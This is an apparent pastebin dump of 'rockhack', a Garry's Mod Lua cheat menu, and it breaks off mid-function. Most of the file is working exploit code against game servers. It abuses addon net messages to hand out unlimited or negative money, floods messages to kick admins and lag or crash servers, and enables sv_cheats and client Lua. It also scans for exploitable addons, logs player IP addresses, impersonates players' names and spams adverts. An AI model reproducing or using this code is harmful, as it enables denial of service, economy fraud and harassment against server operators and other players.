· 9 years ago · Nov 07, 2016, 08:56 PM
1local dversion=1.0
2local dlversion ="v1.0"
3local outdated = 0
4local devbuild = 0
5local pastecheck = 0 // 0 = Bueno 1 = No Bueno
6local crash = 0
7local ulx_spam=0
8local ply = LocalPlayer()
9
10// INSTALIZATION
11// FUNCTIONS
12
13surface.CreateFont( "PopupHFont", {
14 font = "Segoe UI Light",
15 size = 50,
16 weight = 1000,
17} )
18
19surface.CreateFont("HeaderFont", {
20 font = "Segoe UI Semilight",
21 size = 22,
22 weight = 300
23})
24
25surface.CreateFont("PopupFont", {
26 font = "Segoe UI Light",
27 size = 21,
28 weight = 300
29})
30
31surface.CreateFont("HeadingFont",{
32 font = "ChatFont",
33 size = 20,
34 weight = 500,
35 antialias = true,
36})
37
38function SoundClick()
39 if GetConVarNumber("rf_playsound") > 0 then
40 surface.PlaySound("buttons/lightswitch2.wav")
41 else
42end end
43
44function consoleP(message)
45 queries = queries + 1
46 MsgC(Color(231, 76, 60), "[rockhack " .. dlversion .. "]: ", Color(255,255,255), message, "\n")
47end
48
49function SoundPop()
50 --buttons/blip1.wav
51 --buttons/button14.wav
52 --buttons/lightswitch2.wav
53 if GetConVarNumber("rf_playsound") > 0 then
54 surface.PlaySound("buttons/button14.wav")
55 else
56end end
57
58local infinite = 1000000000000000000000000000000000000000000000000000000000000000000
59
60function HitBitches()
61 net.Start("hitcomplete")
62 net.WriteDouble( GetConVarNumber("rf_hitmenuammount") )
63 net.SendToServer()
64end
65concommand.Add("rf_hithack", HitBitches)
66
67function clearcon()
68 for i=0, 100 do
69 print(" ")
70end end
71
72function cleardchat()
73 for i=0, 100 do
74 chat.AddText(" ")
75 end end
76
77--[[
78 Woo, Coloured chat messages!
79]]--
80function chatP(message)
81 queries = queries + 1
82 chat.AddText(Color(120, 255, 0), "[rockhack " .. dlversion .. "]: ", Color(255,255,0), message)
83 --status(message)
84end
85
86function chatPR(message)
87 queries = queries + 1
88 chat.AddText(Color(120, 255, 0), "[rockhack " .. dlversion .. "]: ", Color(255,0,0), message)
89 --status(message)
90end
91
92function chatPG(message)
93 queries = queries + 1
94 chat.AddText(Color(120, 255, 0), "[rockhack " .. dlversion .. "]: ", Color(0,255,0), message)
95 --status(message)
96end
97queries=1;
98http.Fetch("http://pastebin.com/u/rockfire1234",function(body, len, headers, code)
99 serverlist = body
100end,function( error )
101 chatP("Error accessing PasteBin!")
102end)
103
104http.Fetch("http://pastebin.com/u/rockfire1234",function(body, len, headers, code)
105 changelogs = body
106end,function( error )
107 chatP("Error accessing PasteBin!")
108end)
109
110function printchange()
111 consoleP(""..changelogs.."")
112end
113concommand.Add("rf_logs", printchange)
114
115--[[
116
117 PASTEBIN
118
119 CHECK
120
121
122]]--
123local StringM8 = "I like potatoes, potatoes are DELICIOUS! Potatoes are LIFE!"
124
125function CheckPastebin()
126 http.Fetch("http://pastebin.com/u/rockfire1234",function(body, len, headers, code)
127 bintext = body
128 local stringbin = ( tostring( bintext ))
129 if (StringM8 == stringbin) then
130 consoleP("Connection to PasteBin is good!")
131 else
132 pastecheck = 1
133 chatP("Connection to PasteBin is broken!")
134 chatP("rockhack needs PasteBin to properly work!")
135 end end) end
136--[[
137~~~~~~~~~~~~~~~ Version Check ~~~~~~~~~~~~~~~
138 --]]
139function VersionCheck()
140 http.Fetch("http://pastebin.com/u/rockfire1234",function( HTML )
141 local findpos = string.find( HTML, "CVERSION =", 0, false )
142 if (findpos) then
143 local version = tonumber( string.sub( HTML, findpos+10, findpos+13 ) )
144 if (pastecheck == 1) then
145 chatP("Can't check for newer versions because PasteBin is unaccessable!")
146 elseif ( version > dversion ) then
147 outdated = 1
148 chatP("Your version is out of date!" )
149 elseif ( version == dversion ) then
150 chatP("Your version is up to date." )
151 elseif (version < dversion) then
152 devbuild = 1
153 else
154 chatP("Error checking versions!")
155 end end end) end
156VersionCheck()
157
158/*
159 About Menu
160
161 Woo, learn about us.
162
163*/
164function AboutMenu()
165 local frame = vgui.Create("DFrame")
166 frame:SetSize( ScrW(), ScrH() )
167 frame:SetPos( 0,0 )
168 frame:SetVisible( true )
169 frame:SetDraggable( false )
170 frame:MakePopup()
171 frame:ShowCloseButton( false )
172 frame.Paint = function(s,w,h)
173 surface.SetDrawColor( Color(0,0,0,200) )
174 surface.DrawRect( 0,0, w,h )
175 surface.SetDrawColor( Color(0,230,255,150) )
176 surface.DrawRect( 0, ScrH()/15, ScrW(), ScrH()/8 )
177 surface.SetTextColor(255,255,255)
178 surface.SetFont("PopupHFont")
179 surface.SetTextPos( w/5 , ScrH()/10 )
180 surface.DrawText("About rockhack")
181 surface.SetFont("PopupFont")
182 surface.SetTextPos( w/4, h/2.5)
183 surface.DrawText("rockhack, made by rockfire1234")
184 surface.SetTextPos( w/4, h/2.4 )
185 surface.DrawText("If we haven't said it enough, we'll say it again...")
186 surface.SetTextPos( w/4, h/2.3 )
187 surface.DrawText("Rockfire has worked VERY hard on this menu.")
188 surface.SetTextPos( w/4, h/2.2 )
189 surface.DrawText("I would LOVE feedback, so please, take the time and send an email to me!")
190 surface.SetTextPos( w/4, h/2.1 )
191 surface.DrawText("GamingGeek11@outlook.com")
192 surface.SetTextPos( w/4, h/2.0 )
193 surface.DrawText("Tell me what you think of the menu.")
194 end
195
196 button = vgui.Create("DButton", frame)
197 button:SetSize(110,32.5)
198 button:SetPos(frame:GetWide()/2+frame:GetWide()/10, frame:GetTall()/1.9)
199 button:SetText("")
200 button.Paint = function(s,w,h)
201 surface.SetDrawColor( Color(255,255,255) )
202 surface.DrawRect( 0,0, w,h )
203 surface.SetDrawColor( Color(13,136,69) )
204 surface.DrawRect( 0+3,0+3, w-6,h-6 )
205 surface.SetTextColor(255,255,255)
206 surface.SetFont("PopupFont")
207 surface.SetTextPos(30.5,5.5)
208 surface.DrawText( "Alright!" )
209 end
210 button.DoClick = function(s,w,h)
211 frame:Close()
212 SoundClick()
213 end end
214/*
215
216 In Development!!!
217
218
219
220 rockhack WELCOME SCREEN!!!!!
221
222
223*/
224function WelcomeScreen()
225 local Popup = vgui.Create("DFrame")
226 Popup:SetSize( ScrW(), ScrH() )
227 Popup:SetPos( 0,0 )
228 Popup:SetVisible( true )
229 Popup:SetDraggable( false )
230 Popup:SetTitle( "" )
231 Popup:MakePopup()
232 Popup:ShowCloseButton( false )
233
234 Popup.Paint = function(s,w,h)
235 surface.SetDrawColor( Color(0,0,0,200) )
236 surface.DrawRect( 0,0, w,h )
237 surface.SetDrawColor( Color(13,136,69) )
238 surface.DrawRect( 0, w/2-Popup:GetTall()/1.520, ScrW(), ScrH()/6.5 )
239 surface.SetTextColor(255,255,255)
240 surface.SetTextPos(w/5.10, h/2.40)
241 if outdated == 0 then
242 surface.SetFont("PopupHFont")
243 surface.SetTextPos(w/5.10, h/3)
244 surface.DrawText("rockhack")
245 surface.SetFont("PopupFont")
246 surface.SetTextPos(w/5.10, h/2.50)
247 surface.DrawText( "Rockfire hopes you do thoroughly enjoy using his menu!" )
248 surface.SetTextPos(w/5.10, h/2.40)
249 surface.DrawText( "Your version "..dlversion.." is up to date!" )
250 surface.SetTextPos(w/5.10, h/2.30)
251 surface.DrawText("Please, do not leak our menu.")
252 surface.SetTextPos(w/5.10, h/2.20)
253 surface.DrawText ( "We worked very hard on creating it." )
254 elseif outdated == 1 then
255 surface.SetFont("PopupFont")
256 surface.SetTextPos(w/5.10, h/2.50)
257 surface.DrawText( "Your version is outdated! Please contact the rockfire for the latest edition!" )
258 else
259 surface.SetFont("PopupHFont")
260 surface.SetTextPos(10, 100)
261 surface.DrawText( "rockhack Version "..dlversion.."")
262 surface.SetFont("PopupFont")
263 surface.SetTextPos(w/5.10, h/2.50)
264 surface.DrawText( "Error" )
265 end end
266 button = vgui.Create("DButton", Popup)
267 button:SetSize(110,32.5)
268 button:SetPos(Popup:GetWide()/2+Popup:GetWide()/10, Popup:GetTall()/2.050)
269 button:SetText("")
270 button.Paint = function(s,w,h)
271 surface.SetDrawColor( Color(255,255,255) )
272 surface.DrawRect( 0,0, w,h )
273 surface.SetDrawColor( Color(13,136,69) )
274 surface.DrawRect( 0+3,0+3, w-6,h-6 )
275 surface.SetTextColor(255,255,255)
276 surface.SetFont("PopupFont")
277 surface.SetTextPos(30.5,5.5)
278 surface.DrawText( "Alright!" )
279 end
280
281 button.DoClick = function(s,w,h)
282 Popup:Close()
283 SoundClick()
284 end
285
286 logbutton = vgui.Create("DButton", Popup)
287 logbutton:SetSize(110,32.5)
288 logbutton:SetPos(Popup:GetWide()/3+Popup:GetWide()/10, Popup:GetTall()/2.050)
289 logbutton:SetText("")
290 logbutton.Paint = function(s,w,h)
291 surface.SetDrawColor( Color(255,255,255) )
292 surface.DrawRect( 0,0, w,h )
293 surface.SetDrawColor( Color(13,170,181) )
294 surface.DrawRect( 0+3,0+3, w-6,h-6 )
295 surface.SetTextColor(255,255,255)
296 surface.SetFont("PopupFont")
297 surface.SetTextPos(10,5.5)
298 surface.DrawText( "Change Logs" )
299 end
300
301 logbutton.DoClick = function(s,w,h)
302 Popup:Close()
303 ChangeLogMenu()
304 SoundClick()
305 end end
306concommand.Add("rf_welcome", WelcomeScreen, SVersionCheck)
307
308-- Version Menu It Looks PURDY
309
310function ChangeLogMenu()
311 local Panel = vgui.Create( "DFrame" )
312 Panel:SetSize( 800, 600 )
313 Panel:SetPos( ScrW(),ScrH() )
314 Panel:MoveTo( ScrW()/2-Panel:GetWide()/2, ScrH()/2-Panel:GetTall()/2 , 2, 0, 0.8) -- Sliding code M8
315 Panel:SetTitle( "" )
316 Panel:MakePopup()
317 Panel:ShowCloseButton( false )
318 function Panel:Paint( w, h )
319 draw.RoundedBox( 4, 0, 0, w, h, Color( 10, 10, 10, 160) )
320 draw.RoundedBoxEx( 4, 0, 0, w, 40, Color( 240, 85, 0, 160), true, true, false, false )
321 draw.SimpleText( "rockhack ChangeLogs", "Default", 6, 15, Color( 255,255,255 ), 0, 0 )
322 end
323
324 local Button = vgui.Create("DButton", Panel)
325 Button:SetPos( 740, 10 )
326 Button:SetSize( 50, 25 )
327 Button:SetText( "" )
328 function Button:Paint( w, h )
329 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
330 draw.SimpleText( "Close", "HeaderFont", 6, 2, Color( 255,255,255 ), 0, 0 )
331 end
332 Button.DoClick = function()
333 Panel:Close()
334 end
335
336 local Label = vgui.Create( "DLabel", Panel )
337 Label:SetColor( Color( 255, 255, 255, 255 ) )
338 Label:SetFont( "DermaLarge" )
339
340 if outdated == 1 then
341 Label:SetText( "Your version " ..dlversion.." is outdated!" )
342 Label:SetTextColor( Color( 255,0,0 ) )
343 elseif outdated == 0 then
344 Label:SetText( "Your version "..dlversion.." is up to date!" )
345 Label:SetTextColor( Color( 0,255,0 ) )
346 else
347 Label:SetText("Error receving version information!")
348 end
349
350 Label:SizeToContents()
351 Label:SetPos( Label:GetParent():GetWide()/2-Label:GetWide()/2-5, 50 )
352
353 local HTML = vgui.Create( "HTML", Panel )
354 HTML:OpenURL( "http://pastebin.com/u/rockfire1234" )
355 HTML:SetSize( HTML:GetParent():GetWide() - 50, HTML:GetParent():GetTall() - 160 )
356 HTML:SetPos( 25, 100 )
357 HTML.Paint = function()
358 surface.SetDrawColor( Color( 160, 160, 160) )
359 surface.DrawRect( 0, 0, HTML:GetWide(), HTML:GetTall() )
360 end end
361/*
362
363
364 END MENU
365
366
367*/
368local randomvar = math.Rand(0,9999999)
369local BridgeHack = {}
370BridgeHack.RandomVar = randomvar
371local sweg = LocalPlayer():GetEyeTrace().Entity
372local ply = LocalPlayer()
373ply:ConCommand("rf_welcome")
374timer.Destroy("changecolor")
375
376queries=1;
377function status(statu)-- Made for debugging things.
378 queries = queries + 1
379 if GetConVarNumber("rf_showhud") == 1 then
380 hook.Add( "HUDPaint", "drawcurrent", function()
381 surface.SetFont( "BudgetLabel" )
382 surface.SetTextColor( 255,255,255 )
383 surface.SetTextPos( 25, 25 )
384 surface.DrawText( "[" .. queries .. " Total Requests] STATUS: " .. statu )
385 end) end
386
387 if GetConVarNumber("rf_chat_status") == 1 then
388 chat.AddText(Color(231, 76, 60), "[rockhack " .. dlversion .. "]: ", Color(255,255,255), statu)
389 end end
390
391function Debug(message)
392 queries = queries + 1
393 chat.AddText(Color(155, 89, 182), "[ rockhack]: ", Color(255,255,255), message)
394end
395
396local function CreateCvar(cvar, value)
397 CreateClientConVar(cvar, value)
398 consoleP("CVAR: " .. cvar .. " set to " .. value)
399end
400
401local function ResetCvar(cvar, value)
402 ply:ConCommand("" .. cvar .. " " .. value)
403 Debug("CVAR: " .. cvar .. " reset to " .. value)
404end
405
406CheckPastebin()
407CreateCvar("rf_notify", 1)
408CreateCvar("rf_ulxgag", 1, true, false)
409CreateCvar("rf_playsound",1)
410CreateCvar("rf_hitmenuammount",0)
411CreateCvar("rf_menu_effects", 1)
412CreateCvar("rf_firstload_correct", 1)
413CreateCvar("rf_chat_status", 0)
414CreateCvar("rf_cheats_enabled_on_start", 0)
415CreateCvar("rf_cheats_svlua_enabled_on_start", 0)
416CreateCvar("rf_showhud", 0)
417CreateCvar("rf_esp",0)
418CreateCvar("rf_esp_box",1)
419CreateCvar("rf_debug",0)
420CreateCvar("rf_esp_hp",1)
421CreateCvar("rf_esp_rank",1)
422CreateCvar("rf_renderdistance_enable",0)
423CreateCvar("rf_esp_rdistance",2000)
424CreateCvar("rf_esp_infocolor_r",255)
425CreateCvar("rf_esp_infocolor_g",0)
426CreateCvar("rf_esp_infocolor_b",255)
427CreateCvar("rf_ratm_money2give",100000)
428
429
430if GetConVarNumber("fh_firstload_correct") == 1 then
431 Derma_Message( "Welcome " .. ply:Nick() .. ", We see its your first time launching rockhack on your SteamID (" .. ply:SteamID() .. ")\nHow do I open the menu?\nSimply do this bind in console bind KEY +rf_menu\nThanks for downloading rockhack, Enjoy", "Welcome to rockhack " .. ply:Nick() .. "!", "Click me to continue" )
432 ply:ConCommand("fh_firstload_correct 0")
433 chatP("Welcome to the world of rockhack.")
434
435else
436end
437
438if GetConVarNumber("rf_cheats_enabled_on_start") == 1 then
439 ply:ConCommand("incrementvar sv_cheats 0 1 1")
440 status("Enabled sv_cheats to 1")
441else
442end
443if GetConVarNumber("rf_cheats_svlua_enabled_on_start") == 1 then
444
445 ply:ConCommand("incrementvar sv_allowcslua 0 1 1")
446 status("Enabled sv_allowcslua to 1")
447else
448end
449
450// FIXES
451local oChatAddText = chat.AddText
452
453function chat.AddText( ... )
454 local cArgs = { ... };
455
456
457 for k, v in pairs( cArgs ) do
458 if (type(v) == 'string' && string.len(v) > 255) then -- 255 should be fine
459 print("BLOCKED STRING CRASH len[" .. string.len(v) .. "]");
460 return false;
461 else
462 end
463 end
464 return oChatAddText( ... );
465end
466
467---------------------------------------// Global timers //---------------------------------------
468if GetConVarNumber("rf_showhud") == 1 then
469 hook.Add( "HUDPaint", "drawcursor", function()
470 local x, y, c = ScrW() / 2, ScrH() / 2, Color(225, 0, 0, 255)
471 surface.SetDrawColor(c)
472 surface.DrawLine(x - 10, y, x - 5, y)
473 surface.DrawLine(x, y + 5, x, y + 10)
474 surface.DrawLine(x + 10, y, x + 5, y)
475 end)
476
477 hook.Add( "HUDPaint", "drawabout", function()
478 surface.SetFont( "BudgetLabel" )
479 surface.SetTextColor( 46, 204, 113 )
480 surface.SetTextPos( 25, 15 )
481 surface.DrawText( "BridgeHack " .. dlversion )
482 end)
483
484 if GetConVarNumber("rf_debug") > 0 then
485 if system.IsWindows( ) == true then
486 hook.Add( "HUDPaint", "drawdev1", function()
487 surface.SetFont( "BudgetLabel" )
488 surface.SetTextColor( 231, 76, 60 )
489 surface.SetTextPos( 25, 47 )
490 surface.DrawText( "[] Server Operating System: Windows" )
491 end)
492 end
493
494 if system.IsLinux( ) == true then
495 hook.Add( "HUDPaint", "drawdev2", function()
496 surface.SetFont( "BudgetLabel" )
497 surface.SetTextColor( 231, 76, 60 )
498 surface.SetTextPos( 25, 47 )
499 surface.DrawText( "[] Server Operating System: Linux" )
500 end)
501 end
502
503 if system.IsOSX( ) == true then
504 hook.Add( "HUDPaint", "drawdev3", function()
505 surface.SetFont( "BudgetLabel" )
506 surface.SetTextColor( 231, 76, 60 )
507 surface.SetTextPos( 25, 47 )
508 surface.DrawText( "[] Server Operating System: OSX")
509 end)
510 end
511
512 hook.Add( "HUDPaint", "drawdev4", function()
513 surface.SetFont( "BudgetLabel" )
514 surface.SetTextColor( 231, 76, 60 )
515 surface.SetTextPos( 25, 47 )
516 surface.DrawText( "[] Server Operating System: Windows" )
517 end)
518
519 hook.Add( "HUDPaint", "drawdev5", function()
520 surface.SetFont( "BudgetLabel" )
521 surface.SetTextColor( 231, 76, 60 )
522 surface.SetTextPos( 25, 57 )
523 surface.DrawText( "[] Server Location: " .. system.GetCountry( ) .. "" )
524 end)
525
526 hook.Add( "HUDPaint", "drawdev6", function()
527 surface.SetFont( "BudgetLabel" )
528 surface.SetTextColor( 231, 76, 60 )
529 surface.SetTextPos( 25, 67 )
530 surface.DrawText( "[] Connection Time: " .. system.AppTime( ) .. " Seconds" )
531 end)
532
533 end
534end
535
536status("Starting")
537status("BridgeHack Loaded")
538
539for k,v in pairs(player.GetAll()) do
540
541 local playermoney = (v.DarkRPVars and v.DarkRPVars.money) or 0
542 consoleP(v:GetUserGroup()..": " .. v:Nick() .. " - " .. v:SteamID() .. " - $" .. playermoney)
543 end
544consoleP("rockhack, by rockfire1234")
545consoleP(dlversion)
546
547// FUNCTIONS--------------------------------------------420---------------------------------------------------------------------------------
548// CONCOMMANDS------------------------------------------420---------------------------------------------------------------------------------
549
550concommand.Add("rf_hitmanxcrash", function ( ply )
551for i=0,300 do
552for k,v in pairs(player.GetAll()) do
553net.Start( "SendMoney" )
554net.WriteEntity( v )
555net.WriteEntity( v )
556net.WriteEntity( v )
557net.WriteString( "-100000000000000000000000000000000000000000" )
558net.SendToServer()
559
560end end end)
561
562
563function MagnetoThrow()
564-- Nice and easy, turn it slow 180
565 timer.Simple(.02,Turn)
566 timer.Simple(.04,Turn)
567 timer.Simple(.06,Turn)
568 timer.Simple(.08,Turn)
569 timer.Simple(.10,Turn)
570 timer.Simple(.12,Turn)
571 timer.Simple(.14,Turn)
572 timer.Simple(.16,Turn)
573 timer.Simple(.18,Turn)
574 timer.Simple(.20,Turn)
575 timer.Simple(.22,Turn)
576 timer.Simple(.24,Turn)
577 timer.Simple(.26,Turn)
578 timer.Simple(.28,Turn)
579 timer.Simple(.30,Turn)
580 timer.Simple(.32,Turn)
581 timer.Simple(.34,Turn)
582 timer.Simple(.36,Turn)
583-- OH MY GOD WHIP AROUND 180
584 timer.Simple(.46,TurnBack)
585
586 timer.Simple(.7,function() RunConsoleCommand("+attack") end)
587 timer.Simple(.72,function() RunConsoleCommand("-attack") end)
588end
589
590function Turn()
591
592 LocalPlayer():SetEyeAngles(LocalPlayer():EyeAngles()-Angle(0,10,0))
593end
594
595function TurnBack()
596
597 LocalPlayer():SetEyeAngles(LocalPlayer():EyeAngles()-Angle(0,180,0))
598end
599
600concommand.Add("rf_360",MagnetoThrow)
601
602
603concommand.Add("rf_hitmanxinfa", function ( ply )
604for k,v in pairs(player.GetAll()) do
605net.Start( "SendMoney" )
606net.WriteEntity( v )
607net.WriteEntity( v )
608net.WriteEntity( v )
609net.WriteString( "-100000000000000000000000000000000000000000" )
610net.SendToServer()
611
612end end)
613
614concommand.Add("rf_hitmancrash",function()
615 for i=0,5000 do
616 ply:ConCommand('addhit "'..ply:Nick()..'" 500')
617 end
618
619end)
620
621concommand.Add("rf_emp",function()
622net.Start("start_wd_emp")
623 net.SendToServer()
624end)
625
626concommand.Add("rf_ulxgag",function()
627 if(ulx and ulx.gagUser) then
628 if GetConVarNumber("rf_ulxgag") == 1 then
629 ulx.gagUser(LocalPlayer(),false)
630 else
631 end
632 else
633 end
634
635end)
636
637concommand.Add("rf_antiaim",function()
638 hook.Add("CreateMove",function(cmd, u)
639 if (LocalPlayer():KeyDown(IN_ATTACK)) then return end
640 local aa = cmd:GetViewAngles()
641 cmd:SetViewAngles(Angle(-9999999999, aa.y, 99939329))
642end)
643
644end)
645
646
647concommand.Add("rf_infinite_all",function()
648 clearcon()
649 cleardchat()
650 chatP("Giving money, He he")
651for k,v in pairs(player.GetAll()) do
652net.Start( "BailOut" )
653 net.WriteEntity( v )
654 net.WriteEntity( v )
655 net.WriteFloat( -infinite )
656 net.SendToServer()
657 end
658
659end)
660
661concommand.Add("rf_ipsteal",function()
662hook.Add("PlayerConnect", "IPStealer", function(name, ip)
663 file.Append("ips.txt", name .. " - " .. ip .. "\n")
664end)
665
666end)
667
668local nlr = CreateClientConVar("rf_nlr_freeze", "0", true, false)
669
670local function nlrs()
671 if nlr:GetBool() then
672 for k,v in pairs(player.GetAll())do
673 if v != LocalPlayer() then
674 net.Start("NLR.ActionPlayer")
675 net.WriteEntity(v)
676 net.SendToServer()
677 end
678 end
679 end
680 end
681timer.Create("nlrs", 4,0,nlrs)
682
683LastTime = CurTime()
684
685function drawdatopscreen()
686 if GetConVarNumber("rf_notify") > 0 then
687 draw.RoundedBox(0,0,0,ScrW(),21,Color(0,0,0,200))
688 sweg = math.Clamp((CurTime()-LastTime)/20,0,1)
689 if sweg == 1 then
690 LastTime = CurTime()
691 end
692 draw.DrawText("rockhack (By rockfire1234) Loaded! | Any bugs? E-Mail GamingGeek11@outlook.com! | Suggestions? I love feedback! E-Mail rockfire1234 | ","Trebuchet24",(ScrW() + 600) - sweg*3100 , -2, Color(255,255,255),TEXT_ALIGN_CENTER )
693 end
694end
695hook.Add( "HUDPaint", "drawdatopscreen", drawdatopscreen )
696
697concommand.Add("rf_tp_spawn",function()
698 chatP("Teleported to spawn!")
699 consoleP("Teleported to spawn!")
700 status("Teleported to spawn!")
701 net.Start("DarkRP_Kun_ForceSpawn")
702 net.SendToServer()
703
704end)
705
706concommand.Add("rf_check",function()
707clearcon()
708cleardchat()
709chatP("Checking for exploitable addons...")
710if HIT then
711 chatPG("Hitman X | Found")
712else
713 chatPR("Hitman X | Not Found")
714end
715if HitMenu then
716 chatPG("Hit Menu | Found")
717else
718 chatPR("Hit Menu | Not Found")
719end
720if BAIL then
721 chatPG("BailNPC | Found")
722else
723 chatPR("BailNPC | Not Found")
724end
725if dLogs then
726 chatPG("DLOGS | Found")
727else
728 chatPR("DLOGS | Not Found")
729end
730if ChanNum then
731 chatPG("MXRadio| Found")
732else
733 chatPR("MXRadio | Not Found")
734end
735if VC_Menu_Info_Panel_Build then
736 chatPG("VCMD | Found")
737else
738 chatPR("VCMD | Not Found")
739end
740if MDE then
741 chatPG("MDE | Found")
742else
743 chatPR("MDE | Not Found")
744end
745if NLR then
746 chatPG("NLR | Found")
747else
748 chatPR("NLR | Not Found")
749end
750if Warnings_for_kick then
751 chatPG("ULX Extended | Found")
752else
753 chatPR("ULX Extended | Not Found")
754end
755
756end)
757
758function reloadeddunkalladmins()
759clearcon()
760chatP("KICKING ADMINS..... (THIS WILL INCLUDE ANYONE WHO ISNT A USER!)")
761timer.Create( "heymnangng", 3, 0, function()
762for k,v in ipairs(player.GetAll()) do
763if( v:GetUserGroup() != "user" ) then
764if v:Nick() != "Gam" then
765for i=0, 700 do
766net.Start( "GetCar" )
767net.WriteEntity(v)
768net.WriteEntity(v)
769net.SendToServer()
770end
771chatP('Kicked: '.. v:Nick().. "!")
772end end end end)end
773concommand.Add( "rf_mx_kickadmins", reloadeddunkalladmins, SVersionCheck )
774
775function dloglag()
776clearcon()
777print("Lagging server.")
778clearcon()
779print("Lagging server..")
780clearcon()
781print("Lagging server...")
782timer.Create( "dlogsisfucked", 3, 0, function()
783for i=0, 7000 do
784local tosend = {
785 cmd="+forward",
786 args=" "
787
788 }
789 net.Start('dLogsGetCommand')
790 net.WriteTable(tosend)
791 net.SendToServer()
792
793end end) end
794
795concommand.Add( "rf_dlogs_lag", dloglag, SVersionCheck )
796concommand.Add( "rf_dlogs_lag_off", function()
797 clearcon()
798 consoleP("Stopping the lag...")
799 chatP("Stopping the lag...")
800 timer.Destroy("dlogisfucked")
801end)
802
803concommand.Add("rf_admins", function()
804clearcon()
805chatP("Listing non-players..")
806chatP("Check console.")
807consoleP("============= ULX | Custom admin mode RANKS ============")
808for k,v in pairs(player.GetAll()) do
809 if( v:GetUserGroup() != "user" ) then
810 print(v:Nick().. " | ".. v:GetUserGroup())
811 end
812end
813consoleP("========================================================")
814end)
815
816local Spammer = CreateClientConVar("rf_advert", "0", true, false)
817
818local function Spam()
819 if Spammer:GetBool() then
820 RunConsoleCommand("say", "/advert rockfire1234 is the best! !!!!!!") --Whatever you want
821 end end
822timer.Create("Spam", 1.5,0,Spam)
823
824local player2kick = CreateClientConVar("g_mx_playername", " ", true, false)
825function kickdaplayer()
826timer.Create( "heymnangng2", 3, 0, function()
827for k,v in ipairs(player.GetAll()) do
828if v:Nick() == GetConVar("g_mx_playername") then
829clearcon()
830print("Kicking: ")
831print(v:Nick())
832for i=0, 700 do
833net.Start( "GetCar" )
834net.WriteEntity(v)
835net.WriteEntity(v)
836net.SendToServer()
837end
838chatP("Kicked ".. v:Nick())
839consoleP("Kicked ".. v:Nick())
840end end end) end
841concommand.Add( "rf_mx_kickplayer", kickdaplayer, SVersionCheck )
842
843concommand.Add("rf_clearcon",function()
844 clearcon()
845
846end)
847
848concommand.Add("rf_clearchat",function()
849 cleardchat()
850
851end)
852
853
854concommand.Add("rf_3dcardealer_spamstore",function()
855 chatP("You better be looking at a car")
856 for i=0,100 do
857 clearcon()
858 chatP("Spamming store... ".."["..i.."]")
859 net.Start( "RXCAR_Shop_Sell_C2S" )
860 net.WriteTable({EAA=sweg, CDAA})
861 net.SendToServer()
862 end
863
864end)
865
866concommand.Add("rf_serverlist",function()
867 status("Printing lise to console...")
868 chatP("Check console.")
869 clearcon()
870 consoleP(""..serverlist.."")
871 status("Complete")
872
873end)
874
875function CheckAE()
876
877 if requestTables then
878 print("ae found, rf_ae will work")
879 chatP("AE was found, rf_ae will work.")
880 else
881 chatP("AE was not found, rf_ae will not work.")
882 end end
883concommand.Add("rf_aecheck", CheckAE, SVersionCheck)
884
885concommand.Add("rf_ae_kickadmins",function()
886clearcon()
887chatP("Attempting to Kick admins")
888chatP("This will only work on admins+")
889timer.Create( "aekickdaskids", 3, 0, function()
890for k,v in ipairs(player.GetAll()) do
891if( v:GetUserGroup() != "user" ) then
892if( v:GetUserGroup() != "vip" ) then
893for i=0, 1000 do
894net.Start('plyWarning')
895 net.WriteEntity(v)
896 net.WriteString('You have to select a player before doing a action.')
897 net.SendToServer()
898end
899chatP('Attempting to kick: '.. v:Nick().. "!")
900
901end end end end) end)
902
903concommand.Add("rf_namesteal_on",function()
904 status("Running Script: Random Name Change [name steal]....")
905
906 timer.Create("startNAMECHANGEsteal", 0.12, 0, function()
907 local plylastname = ply:Nick()
908 for k,v in pairs(player.GetAll()) do
909 local ligger_type = math.random(1,2)
910 local ligger_type1 = math.random(1,2)
911 status("Trying Name change to " .. v:Nick() .. " - " .. v:SteamID())
912 if ligger_type1 == ligger_type then
913 status("Name Changing to " .. v:Nick() .. " - " .. v:SteamID())
914 if plylastname == v:Nick() then
915 local ligger_type = math.random(1,2)
916 local ligger_type1 = math.random(1,2)
917 else
918 ply:ConCommand("darkrp name " .. v:Nick() .. math.random(1,10))
919 status("Changed Name to " .. v:Nick() .. " - " .. v:SteamID())
920 end
921 local ligger_type = math.random(1,2)
922 local ligger_type1 = math.random(1,2)
923 end end end) end)
924
925concommand.Add("rf_namesteal_off",function()
926 timer.Destroy("startNAMECHANGEsteal",0.12,0,function()
927 end) end)
928
929concommand.Add("rf_removelookingat",function()
930 chatP("Removing prop looking at...")
931 net.Start( "MDE_RemoveStuff_C2S" )
932 net.WriteTable( {DATA="",TARGET=sweg} )
933 net.SendToServer()
934
935end)
936
937concommand.Add("__rf_lagdarkrpdashit",function()
938 chatP("Starting the lag...")
939 timer.Create("lag"..rockhack.RandomVar, 1, 0, function()
940 for i=1,10000 do
941 net.Start("DarkRP_spawnPocket")
942 net.SendToServer()
943 end
944 status("PROGRESS[10000/10000]")
945
946 end) end)
947
948concommand.Add( "__rf_stopplag",function( )
949 chatP("Stopping the lag...")
950 timer.Destroy("lag"..rockhack.RandomVar)
951end)
952
953if dspam == true then
954 chatP("Spam split / make shipment ON")
955 timer.Create("spamdashit"..rockhack.RandomVar,0.1,function()
956 for k,v in pairs(ents.GetAll()) do
957 if v.Entity:GetString() == "spawned_shipment" then
958 status("Splitting shipment")
959 RunConsoleCommand("darkrp","splitshipment",v.Entity:EntIndex())
960 elseif v.Entity:GetClassName() == "spawned_weapon" then
961 status("Making shipment")
962 RunConsoleCommand("darkrp","makeshipment",v.Entity:EntIndex())
963 end end end) end
964
965if dspam == false then
966 chatP("Spam split / make shipment OFF")
967 timer.Simple(1,function()
968 timer.Destroy("spamdashit"..rockhack.RandomVar,function()
969 end) end) end
970
971concommand.Add("rf_kun_ziptie_untie",function()
972 chatP("Untieing...")
973 for i=0,30 do
974 net.Start("Kun_ZiptieStruggle")
975 net.SendToServer()
976 end
977end)
978
979concommand.Add("rf_god",function()
980 chatP("Work in progress")
981 for i=0,30 do
982 net.Start("Work in progress")
983 net.SendToServer()
984 end
985end)
986
987concommand.Add("rf_noclip",function()
988 chatP("Work in progress")
989 for i=0,30 do
990 net.Start("Work in progress")
991 net.SendToServer()
992 end
993end)
994
995concommand.Add("rf_ulxadduser",function()
996 chatP("Work in progress")
997 for i=0,30 do
998 net.Start("Work in progress")
999 net.SendToServer()
1000 end
1001end)
1002
1003concommand.Add("rf_ddos",function()
1004 chatP("Work in progress")
1005 for i=0,30 do
1006 net.Start("Work in progress")
